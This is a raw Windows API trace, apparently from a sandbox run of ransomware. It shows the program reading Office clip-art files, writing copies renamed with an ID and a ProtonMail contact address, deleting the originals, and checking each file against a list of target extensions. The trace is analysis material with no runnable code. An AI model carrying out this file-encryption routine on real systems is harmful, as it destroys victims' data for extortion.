	[0084.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.255] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2140) returned 1
	[0084.255] CloseHandle (hObject=0x2c8) returned 1
	[0084.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220
	[0084.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.256] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.256] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.266] GetLastError () returned 0x0
	[0084.266] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x85c, lpOverlapped=0x0) returned 1
	[0084.270] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x860, lpOverlapped=0x0) returned 1
	[0084.271] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.272] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.272] SetEndOfFile (hFile=0x320) returned 1
	[0084.272] CloseHandle (hObject=0x320) returned 1
	[0084.272] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.272] SetEndOfFile (hFile=0x2c8) returned 1
	[0084.273] CloseHandle (hObject=0x2c8) returned 1
	[0084.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1
	[0084.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.273] lstrlenW (lpString=".doc") returned 4
	[0084.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.273] lstrlenW (lpString=".docx") returned 5
	[0084.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.273] lstrlenW (lpString=".pdf") returned 4
	[0084.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.274] lstrlenW (lpString=".xls") returned 4
	[0084.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.274] lstrlenW (lpString=".xlsx") returned 5
	[0084.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.274] lstrlenW (lpString=".ppt") returned 4
	[0084.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.274] lstrlenW (lpString=".zip") returned 4
	[0084.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.274] lstrlenW (lpString=".rar") returned 4
	[0084.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.274] lstrlenW (lpString=".bz2") returned 4
	[0084.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.274] lstrlenW (lpString=".7z") returned 3
	[0084.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.274] lstrlenW (lpString=".dbf") returned 4
	[0084.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.274] lstrlenW (lpString=".1cd") returned 4
	[0084.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.274] lstrlenW (lpString=".jpg") returned 4
	[0084.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.274] lstrlenW (lpString=".doc") returned 4
	[0084.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.274] lstrlenW (lpString=".docx") returned 5
	[0084.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.274] lstrlenW (lpString=".pdf") returned 4
	[0084.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.274] lstrlenW (lpString=".xls") returned 4
	[0084.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.275] lstrlenW (lpString=".xlsx") returned 5
	[0084.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.275] lstrlenW (lpString=".ppt") returned 4
	[0084.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.275] lstrlenW (lpString=".zip") returned 4
	[0084.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.275] lstrlenW (lpString=".rar") returned 4
	[0084.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.275] lstrlenW (lpString=".bz2") returned 4
	[0084.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.275] lstrlenW (lpString=".7z") returned 3
	[0084.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.275] lstrlenW (lpString=".dbf") returned 4
	[0084.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.275] lstrlenW (lpString=".1cd") returned 4
	[0084.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0084.275] lstrlenW (lpString=".jpg") returned 4
	[0084.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.275] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.275] lstrlenW (lpString="DD01145_.WMF") returned 12
	[0084.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.276] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2780) returned 1
	[0084.276] CloseHandle (hObject=0x2c8) returned 1
	[0084.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220
	[0084.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.277] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.277] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.277] GetLastError () returned 0x0
	[0084.277] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xadc, lpOverlapped=0x0) returned 1
	[0084.279] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xae0, lpOverlapped=0x0) returned 1
	[0084.280] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.280] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.280] SetEndOfFile (hFile=0x320) returned 1
	[0084.280] CloseHandle (hObject=0x320) returned 1
	[0084.280] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.280] SetEndOfFile (hFile=0x2c8) returned 1
	[0084.281] CloseHandle (hObject=0x2c8) returned 1
	[0084.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1
	[0084.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.282] lstrlenW (lpString=".doc") returned 4
	[0084.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.282] lstrlenW (lpString=".docx") returned 5
	[0084.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.282] lstrlenW (lpString=".pdf") returned 4
	[0084.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.282] lstrlenW (lpString=".xls") returned 4
	[0084.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.282] lstrlenW (lpString=".xlsx") returned 5
	[0084.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.282] lstrlenW (lpString=".ppt") returned 4
	[0084.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.282] lstrlenW (lpString=".zip") returned 4
	[0084.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.282] lstrlenW (lpString=".rar") returned 4
	[0084.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.282] lstrlenW (lpString=".bz2") returned 4
	[0084.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.283] lstrlenW (lpString=".7z") returned 3
	[0084.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.283] lstrlenW (lpString=".dbf") returned 4
	[0084.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.283] lstrlenW (lpString=".1cd") returned 4
	[0084.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.283] lstrlenW (lpString=".jpg") returned 4
	[0084.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.283] lstrlenW (lpString=".doc") returned 4
	[0084.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.283] lstrlenW (lpString=".docx") returned 5
	[0084.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.283] lstrlenW (lpString=".pdf") returned 4
	[0084.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.283] lstrlenW (lpString=".xls") returned 4
	[0084.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.283] lstrlenW (lpString=".xlsx") returned 5
	[0084.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.283] lstrlenW (lpString=".ppt") returned 4
	[0084.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.283] lstrlenW (lpString=".zip") returned 4
	[0084.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.283] lstrlenW (lpString=".rar") returned 4
	[0084.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.283] lstrlenW (lpString=".bz2") returned 4
	[0084.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.283] lstrlenW (lpString=".7z") returned 3
	[0084.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.284] lstrlenW (lpString=".dbf") returned 4
	[0084.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.284] lstrlenW (lpString=".1cd") returned 4
	[0084.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0084.284] lstrlenW (lpString=".jpg") returned 4
	[0084.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.284] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.284] lstrlenW (lpString="DD01146_.WMF") returned 12
	[0084.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.285] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2796) returned 1
	[0084.285] CloseHandle (hObject=0x2c8) returned 1
	[0084.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220
	[0084.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.285] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.285] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.286] GetLastError () returned 0x0
	[0084.286] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xaec, lpOverlapped=0x0) returned 1
	[0084.846] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xaf0, lpOverlapped=0x0) returned 1
	[0084.847] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.848] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.848] SetEndOfFile (hFile=0x320) returned 1
	[0084.848] CloseHandle (hObject=0x320) returned 1
	[0084.848] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.848] SetEndOfFile (hFile=0x2c8) returned 1
	[0084.849] CloseHandle (hObject=0x2c8) returned 1
	[0084.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1
	[0084.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.850] lstrlenW (lpString=".doc") returned 4
	[0084.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.850] lstrlenW (lpString=".docx") returned 5
	[0084.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.850] lstrlenW (lpString=".pdf") returned 4
	[0084.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.850] lstrlenW (lpString=".xls") returned 4
	[0084.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.850] lstrlenW (lpString=".xlsx") returned 5
	[0084.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.850] lstrlenW (lpString=".ppt") returned 4
	[0084.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.850] lstrlenW (lpString=".zip") returned 4
	[0084.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.850] lstrlenW (lpString=".rar") returned 4
	[0084.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.850] lstrlenW (lpString=".bz2") returned 4
	[0084.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.850] lstrlenW (lpString=".7z") returned 3
	[0084.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.850] lstrlenW (lpString=".dbf") returned 4
	[0084.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.850] lstrlenW (lpString=".1cd") returned 4
	[0084.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.850] lstrlenW (lpString=".jpg") returned 4
	[0084.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.851] lstrlenW (lpString=".doc") returned 4
	[0084.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString=".docx") returned 5
	[0084.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.851] lstrlenW (lpString=".pdf") returned 4
	[0084.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString=".xls") returned 4
	[0084.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.851] lstrlenW (lpString=".xlsx") returned 5
	[0084.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.851] lstrlenW (lpString=".ppt") returned 4
	[0084.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.851] lstrlenW (lpString=".zip") returned 4
	[0084.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.851] lstrlenW (lpString=".rar") returned 4
	[0084.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString=".bz2") returned 4
	[0084.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString=".7z") returned 3
	[0084.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.851] lstrlenW (lpString=".dbf") returned 4
	[0084.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.851] lstrlenW (lpString=".1cd") returned 4
	[0084.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0084.851] lstrlenW (lpString=".jpg") returned 4
	[0084.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.852] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.852] lstrlenW (lpString="DD01176_.WMF") returned 12
